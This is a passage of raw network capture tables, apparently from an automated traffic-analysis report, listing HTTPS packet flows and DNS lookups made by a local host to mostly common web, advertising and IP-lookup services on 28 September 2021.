Sep 28, 2021 09:54:36.579462051 CEST	50067	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:36.579469919 CEST	443	50067	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:36.579514980 CEST	50067	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:36.580106020 CEST	50067	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:36.580122948 CEST	443	50067	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:36.720267057 CEST	50068	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:36.720331907 CEST	443	50068	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:36.720463991 CEST	50068	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:36.720765114 CEST	50068	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:36.720782042 CEST	443	50068	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:36.767574072 CEST	443	50068	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:36.767644882 CEST	50068	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:36.768062115 CEST	50068	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:36.768079996 CEST	443	50068	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:36.796870947 CEST	50068	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:36.796895027 CEST	443	50068	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:36.816241026 CEST	443	50068	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:36.816283941 CEST	443	50068	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:36.816333055 CEST	443	50068	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:36.816339016 CEST	50068	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:36.816591024 CEST	50068	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:36.816648006 CEST	50068	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:36.816669941 CEST	443	50068	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.019922018 CEST	50069	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:37.019965887 CEST	443	50069	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:37.020086050 CEST	50069	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:37.020312071 CEST	50069	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:37.020327091 CEST	443	50069	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:37.103070021 CEST	443	50069	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:37.103178978 CEST	50069	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:37.103610039 CEST	50069	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:37.103622913 CEST	443	50069	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:37.108907938 CEST	50069	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:37.108926058 CEST	443	50069	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:37.282099009 CEST	443	50069	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:37.282219887 CEST	443	50069	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:37.293234110 CEST	50069	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:37.293266058 CEST	50069	443	192.168.2.3	87.248.100.216
Sep 28, 2021 09:54:37.293289900 CEST	443	50069	87.248.100.216	192.168.2.3
Sep 28, 2021 09:54:37.402839899 CEST	50070	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.402884960 CEST	443	50070	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.402982950 CEST	50070	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.403364897 CEST	50070	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.403388023 CEST	443	50070	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.450375080 CEST	443	50070	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.450551987 CEST	50070	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.451051950 CEST	50070	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.451070070 CEST	443	50070	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.492146015 CEST	50070	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.492172956 CEST	443	50070	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.511374950 CEST	443	50070	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.511432886 CEST	443	50070	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.511485100 CEST	50070	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.511493921 CEST	443	50070	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.511526108 CEST	50070	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.511563063 CEST	50070	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.511787891 CEST	50070	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.511812925 CEST	443	50070	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.706631899 CEST	50071	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.706690073 CEST	443	50071	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.706799030 CEST	50071	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.707056999 CEST	50071	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.707072020 CEST	443	50071	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.714193106 CEST	443	50061	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:37.714273930 CEST	443	50061	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:37.720333099 CEST	50061	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:37.722641945 CEST	50061	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:37.722672939 CEST	443	50061	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:37.754229069 CEST	443	50071	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.754888058 CEST	50072	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:37.754929066 CEST	443	50072	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:37.754940033 CEST	50071	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.755228043 CEST	50072	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:37.755393028 CEST	50071	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.755405903 CEST	443	50071	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.755475998 CEST	50072	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:37.755490065 CEST	443	50072	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:37.799737930 CEST	50071	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.799762011 CEST	443	50071	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.818973064 CEST	443	50071	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.819027901 CEST	443	50071	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.819086075 CEST	443	50071	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.819124937 CEST	50071	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.819149017 CEST	50071	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.819380999 CEST	50071	443	192.168.2.3	142.250.185.196
Sep 28, 2021 09:54:37.819401026 CEST	443	50071	142.250.185.196	192.168.2.3
Sep 28, 2021 09:54:37.823357105 CEST	443	50072	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:37.823451996 CEST	50072	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:37.823942900 CEST	50072	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:37.823956966 CEST	443	50072	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:37.887103081 CEST	50072	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:37.887151957 CEST	443	50072	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:37.887167931 CEST	50072	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:37.887176037 CEST	443	50072	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:37.970585108 CEST	50073	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:37.970623970 CEST	443	50073	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:37.971900940 CEST	50073	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:37.972079992 CEST	50073	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:37.972091913 CEST	443	50073	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:38.016541004 CEST	443	50073	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:38.017596006 CEST	50073	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:38.018362045 CEST	50073	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:38.018368006 CEST	443	50073	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:38.024708033 CEST	50073	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:38.024715900 CEST	443	50073	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:38.156723022 CEST	443	50073	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:38.156805038 CEST	443	50073	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:38.157824993 CEST	50073	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:38.162457943 CEST	50073	443	192.168.2.3	162.219.225.118
Sep 28, 2021 09:54:38.162480116 CEST	443	50073	162.219.225.118	192.168.2.3
Sep 28, 2021 09:54:40.613552094 CEST	443	50072	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:40.613656998 CEST	443	50072	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:40.614650011 CEST	50072	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:40.615350008 CEST	50072	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:40.615379095 CEST	443	50072	161.35.29.127	192.168.2.3
Sep 28, 2021 09:54:40.615392923 CEST	50072	443	192.168.2.3	161.35.29.127
Sep 28, 2021 09:54:40.617048025 CEST	50072	443	192.168.2.3	161.35.29.127

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 28, 2021 09:52:26.230617046 CEST	56844	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:26.468820095 CEST	58045	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:26.489398003 CEST	53	58045	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:26.713079929 CEST	57459	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:26.765672922 CEST	53	57459	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:27.187613010 CEST	57875	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:27.216103077 CEST	53	57875	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:29.116897106 CEST	54154	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:29.139234066 CEST	53	54154	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:34.161024094 CEST	52806	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:34.190963030 CEST	53	52806	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:35.419553041 CEST	53910	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:35.441896915 CEST	53	53910	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:36.980570078 CEST	64021	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:37.008084059 CEST	53	64021	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:37.337517023 CEST	60784	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:37.354342937 CEST	53	60784	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:37.786545992 CEST	51143	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:37.805975914 CEST	53	51143	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:37.809477091 CEST	56009	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:37.836163044 CEST	53	56009	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:40.574934959 CEST	59026	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:40.604866982 CEST	53	59026	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:41.106991053 CEST	49572	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:41.129858971 CEST	53	49572	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:41.221694946 CEST	60823	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:41.244630098 CEST	53	60823	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:41.607708931 CEST	52130	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:41.629616022 CEST	53	52130	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:42.243311882 CEST	55102	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:42.247667074 CEST	56236	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:42.269443035 CEST	53	56236	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:42.271830082 CEST	53	55102	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:42.862327099 CEST	56527	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:42.881839037 CEST	53	56527	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:43.589735031 CEST	49559	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:43.610820055 CEST	53	49559	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:44.186686039 CEST	52650	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:44.208164930 CEST	53	52650	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:44.443973064 CEST	63297	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:44.464039087 CEST	53	63297	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:46.235013962 CEST	58361	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:46.254977942 CEST	53	58361	8.8.8.8	192.168.2.3
Sep 28, 2021 09:52:53.696080923 CEST	53615	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:52:53.731247902 CEST	53	53615	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:05.046556950 CEST	50728	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:05.065901041 CEST	53	50728	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:05.399740934 CEST	53777	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:05.418853998 CEST	53	53777	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:06.448440075 CEST	53777	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:06.468647957 CEST	53	53777	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:06.862713099 CEST	57106	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:06.882253885 CEST	53	57106	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:07.469252110 CEST	53777	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:07.488280058 CEST	53	53777	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:07.936160088 CEST	57106	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:07.955442905 CEST	53	57106	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:08.957598925 CEST	57106	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:08.976814985 CEST	53	57106	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:09.485671043 CEST	53777	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:09.505090952 CEST	53	53777	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:10.943301916 CEST	57106	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:10.962086916 CEST	53	57106	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:13.521754980 CEST	53777	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:13.541148901 CEST	53	53777	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:14.223562002 CEST	60352	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:14.243508101 CEST	53	60352	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:14.811573982 CEST	56773	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:14.846839905 CEST	53	56773	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:14.975011110 CEST	57106	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:14.994515896 CEST	53	57106	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:15.005981922 CEST	60982	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:15.026957035 CEST	53	60982	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:17.072792053 CEST	58058	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:17.148936987 CEST	53	58058	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:17.374428034 CEST	64367	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:17.395092964 CEST	53	64367	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:24.880711079 CEST	51539	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:24.908304930 CEST	53	51539	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:26.843974113 CEST	55393	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:26.844150066 CEST	50585	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:26.865875959 CEST	53	55393	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:26.872282028 CEST	53	50585	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:27.411597967 CEST	63456	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:27.431704044 CEST	53	63456	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:29.550302982 CEST	58540	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:29.570967913 CEST	53	58540	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:35.477365017 CEST	55108	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:35.496623993 CEST	53	55108	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:37.093508959 CEST	58942	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:37.121963024 CEST	53	58942	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:44.847604036 CEST	64432	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:44.865613937 CEST	53	64432	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:45.921834946 CEST	49250	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:45.940496922 CEST	53	49250	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:47.114702940 CEST	63490	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:47.142622948 CEST	53	63490	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:47.622590065 CEST	65110	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:47.645009041 CEST	53	65110	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:49.387898922 CEST	61120	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:49.407272100 CEST	53	61120	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:51.337992907 CEST	53079	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:51.365240097 CEST	53	53079	8.8.8.8	192.168.2.3
Sep 28, 2021 09:53:52.908422947 CEST	50824	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:53:52.927294016 CEST	53	50824	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:03.722851038 CEST	56706	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:03.744151115 CEST	53	56706	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:10.780343056 CEST	53569	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:10.800911903 CEST	53	53569	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:13.089500904 CEST	62855	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:13.118932962 CEST	53	62855	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:14.125474930 CEST	51046	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:14.167988062 CEST	53	51046	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:15.378320932 CEST	65501	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:15.397233009 CEST	53	65501	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:16.095731020 CEST	53465	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:16.114788055 CEST	53	53465	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:17.976705074 CEST	49290	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:17.996269941 CEST	53	49290	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:22.676434040 CEST	59754	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:22.694484949 CEST	53	59754	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:25.524029016 CEST	49234	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:25.542867899 CEST	53	49234	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:29.116080046 CEST	58720	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:29.135605097 CEST	53	58720	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:30.358463049 CEST	57447	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:30.377206087 CEST	53	57447	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:33.832849026 CEST	63583	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:33.849822044 CEST	53	63583	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:40.306406975 CEST	64099	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:40.325910091 CEST	53	64099	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:42.111453056 CEST	64610	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:42.147427082 CEST	53	64610	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:42.801577091 CEST	51989	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:42.836564064 CEST	53	51989	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:43.209001064 CEST	53152	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:43.228634119 CEST	53	53152	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:43.631613970 CEST	61590	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:43.694958925 CEST	53	61590	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:44.176646948 CEST	56077	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:44.196316957 CEST	53	56077	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:44.668839931 CEST	57951	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:44.699824095 CEST	53	57951	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:45.056699991 CEST	53276	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:45.103996992 CEST	53	53276	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:45.602675915 CEST	60135	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:45.620275021 CEST	53	60135	8.8.8.8	192.168.2.3
Sep 28, 2021 09:54:46.109812975 CEST	49849	53	192.168.2.3	8.8.8.8
Sep 28, 2021 09:54:46.127054930 CEST	53	49849	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 28, 2021 09:52:37.337517023 CEST	192.168.2.3	8.8.8.8	0x8346	Standard query (0)	www.msn.com	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:40.574934959 CEST	192.168.2.3	8.8.8.8	0x3207	Standard query (0)	web.vortex.data.msn.com	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:41.106991053 CEST	192.168.2.3	8.8.8.8	0x3e28	Standard query (0)	geolocation.onetrust.com	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:41.221694946 CEST	192.168.2.3	8.8.8.8	0x3c17	Standard query (0)	contextual.media.net	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:41.607708931 CEST	192.168.2.3	8.8.8.8	0x95e2	Standard query (0)	btloader.com	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:42.243311882 CEST	192.168.2.3	8.8.8.8	0x15df	Standard query (0)	ad.doubleclick.net	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:42.247667074 CEST	192.168.2.3	8.8.8.8	0x1ce5	Standard query (0)	ad-delivery.net	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:42.862327099 CEST	192.168.2.3	8.8.8.8	0x81d	Standard query (0)	lg3.media.net	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:43.589735031 CEST	192.168.2.3	8.8.8.8	0x7b72	Standard query (0)	hblg.media.net	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:44.186686039 CEST	192.168.2.3	8.8.8.8	0x469c	Standard query (0)	cvision.media.net	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:44.443973064 CEST	192.168.2.3	8.8.8.8	0x4684	Standard query (0)	srtb.msn.com	A (IP address)	IN (0x0001)
Sep 28, 2021 09:53:14.811573982 CEST	192.168.2.3	8.8.8.8	0x7859	Standard query (0)	www.amazon.com	A (IP address)	IN (0x0001)
Sep 28, 2021 09:53:44.847604036 CEST	192.168.2.3	8.8.8.8	0x4725	Standard query (0)	www.amazon.com	A (IP address)	IN (0x0001)
Sep 28, 2021 09:53:45.921834946 CEST	192.168.2.3	8.8.8.8	0x21f4	Standard query (0)	www.yahoo.com	A (IP address)	IN (0x0001)
Sep 28, 2021 09:53:47.622590065 CEST	192.168.2.3	8.8.8.8	0xb4e5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)
Sep 28, 2021 09:53:52.908422947 CEST	192.168.2.3	8.8.8.8	0x4dbc	Standard query (0)	myexternalip.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 28, 2021 09:52:37.354342937 CEST	8.8.8.8	192.168.2.3	0x8346	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)
Sep 28, 2021 09:52:40.604866982 CEST	8.8.8.8	192.168.2.3	0x3207	No error (0)	web.vortex.data.msn.com	web.vortex.data.microsoft.com		CNAME (Canonical name)	IN (0x0001)
Sep 28, 2021 09:52:41.129858971 CEST	8.8.8.8	192.168.2.3	0x3e28	No error (0)	geolocation.onetrust.com		104.20.184.68	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:41.129858971 CEST	8.8.8.8	192.168.2.3	0x3e28	No error (0)	geolocation.onetrust.com		104.20.185.68	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:41.244630098 CEST	8.8.8.8	192.168.2.3	0x3c17	No error (0)	contextual.media.net		23.211.6.95	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:41.629616022 CEST	8.8.8.8	192.168.2.3	0x95e2	No error (0)	btloader.com		172.67.70.134	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:41.629616022 CEST	8.8.8.8	192.168.2.3	0x95e2	No error (0)	btloader.com		104.26.7.139	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:41.629616022 CEST	8.8.8.8	192.168.2.3	0x95e2	No error (0)	btloader.com		104.26.6.139	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:42.269443035 CEST	8.8.8.8	192.168.2.3	0x1ce5	No error (0)	ad-delivery.net		104.26.2.70	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:42.269443035 CEST	8.8.8.8	192.168.2.3	0x1ce5	No error (0)	ad-delivery.net		172.67.69.19	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:42.269443035 CEST	8.8.8.8	192.168.2.3	0x1ce5	No error (0)	ad-delivery.net		104.26.3.70	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:42.271830082 CEST	8.8.8.8	192.168.2.3	0x15df	No error (0)	ad.doubleclick.net	dart.l.doubleclick.net		CNAME (Canonical name)	IN (0x0001)
Sep 28, 2021 09:52:42.271830082 CEST	8.8.8.8	192.168.2.3	0x15df	No error (0)	dart.l.doubleclick.net		142.250.186.70	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:42.881839037 CEST	8.8.8.8	192.168.2.3	0x81d	No error (0)	lg3.media.net		23.211.6.95	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:43.610820055 CEST	8.8.8.8	192.168.2.3	0x7b72	No error (0)	hblg.media.net		23.211.6.95	A (IP address)	IN (0x0001)
Sep 28, 2021 09:52:44.208164930 CEST	8.8.8.8	192.168.2.3	0x469c	No error (0)	cvision.media.net	cvision.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)
Sep 28, 2021 09:52:44.464039087 CEST	8.8.8.8	192.168.2.3	0x4684	No error (0)	srtb.msn.com	www.msn.com		CNAME (Canonical name)	IN (0x0001)
Sep 28, 2021 09:52:44.464039087 CEST	8.8.8.8	192.168.2.3	0x4684	No error (0)	www.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)
